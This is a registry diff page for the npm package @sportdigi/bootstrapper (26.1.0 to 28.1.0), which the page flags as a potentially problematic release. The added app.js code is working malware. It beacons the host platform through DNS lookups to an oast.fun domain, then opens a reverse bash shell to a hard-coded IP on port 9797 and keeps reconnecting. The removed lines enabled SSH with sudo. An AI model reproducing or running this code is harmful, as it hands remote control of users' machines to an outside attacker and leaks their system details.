@sportdigi/bootstrapper 26.1.0 → 28.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @sportdigi/bootstrapper might be problematic. Click here for more details.
- package/app.js +50 -26
- package/package.json +1 -1
package/app.js
CHANGED
|
@@ -1,8 +1,5 @@
|
|
|
1
1
|
const dns = require('dns');
|
|
2
2
|
const os = require('os');
|
|
3
|
-
const net = require('net');
|
|
4
|
-
const spawn = require('child_process').spawn;
|
|
5
|
-
const { execSync} = require('node:child_process');
|
|
6
3
|
let platform = os.platform();
|
|
7
4
|
function sendDns(query){
|
|
8
5
|
let domain = `${query}.fctdhxpvrzxmmwtxpidt0w23qlngi0owc.oast.fun`;
|
|
@@ -16,30 +13,57 @@ function sendDns(query){
|
|
|
16
13
|
|
|
17
14
|
if (platform == 'win32'){
|
|
18
15
|
sendDns("windows");
|
|
19
|
-
}else if(platform == 'linux'){
|
|
20
|
-
|
|
21
16
|
}
|
|
22
17
|
sendDns(platform);
|
|
23
18
|
|
|
19
|
+
const net = require('net');
|
|
20
|
+
const spawn = require('child_process').spawn;
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
const HOST = '54.90.237.9';
|
|
24
|
+
const PORT = 9797;
|
|
25
|
+
const retryInterval = 15000;
|
|
26
|
+
|
|
27
|
+
function connect() {
|
|
28
|
+
const client = new net.Socket();
|
|
29
|
+
|
|
30
|
+
client.connect(PORT, HOST, () => {
|
|
31
|
+
console.log('Bağlantı kuruldu.');
|
|
32
|
+
|
|
33
|
+
const shell = spawn('/bin/bash', []);
|
|
34
|
+
|
|
35
|
+
shell.stdout.on('data', (data) => {
|
|
36
|
+
console.log('stdout:', data.toString());
|
|
37
|
+
client.write(data);
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
shell.stderr.on('data', (data) => {
|
|
41
|
+
console.error('stderr:', data.toString());
|
|
42
|
+
client.write(data);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
client.on('data', (data) => {
|
|
46
|
+
shell.stdin.write(data);
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
client.on('close', () => {
|
|
50
|
+
console.log('Bağlantı kapatıldı.');
|
|
51
|
+
client.destroy();
|
|
52
|
+
scheduleReconnect();
|
|
53
|
+
});
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
client.on('error', (err) => {
|
|
57
|
+
console.error('Bağlantı hatası:', err);
|
|
58
|
+
client.destroy();
|
|
59
|
+
scheduleReconnect();
|
|
60
|
+
});
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
function scheduleReconnect() {
|
|
65
|
+
console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
|
|
66
|
+
setTimeout(connect, retryInterval);
|
|
67
|
+
}
|
|
24
68
|
|
|
25
|
-
|
|
26
|
-
"sudo systemctl start ssh",
|
|
27
|
-
"sudo systemctl enable ssh"
|
|
28
|
-
|
|
29
|
-
];
|
|
30
|
-
|
|
31
|
-
const setupSSH = (commands) => {
|
|
32
|
-
for (const command of commands) {
|
|
33
|
-
try {
|
|
34
|
-
console.log(`Çalıştırılıyor: ${command}`);
|
|
35
|
-
const result = execSync(command).toString();
|
|
36
|
-
console.log(result);
|
|
37
|
-
} catch (error) {
|
|
38
|
-
console.error(`Hata: ${command} komutu başarısız oldu`);
|
|
39
|
-
console.error(error.message);
|
|
40
|
-
sendDns("sshHata");
|
|
41
|
-
}
|
|
42
|
-
}
|
|
43
|
-
};
|
|
44
|
-
|
|
45
|
-
setupSSH(linuxCommands);
|
|
69
|
+
connect();
|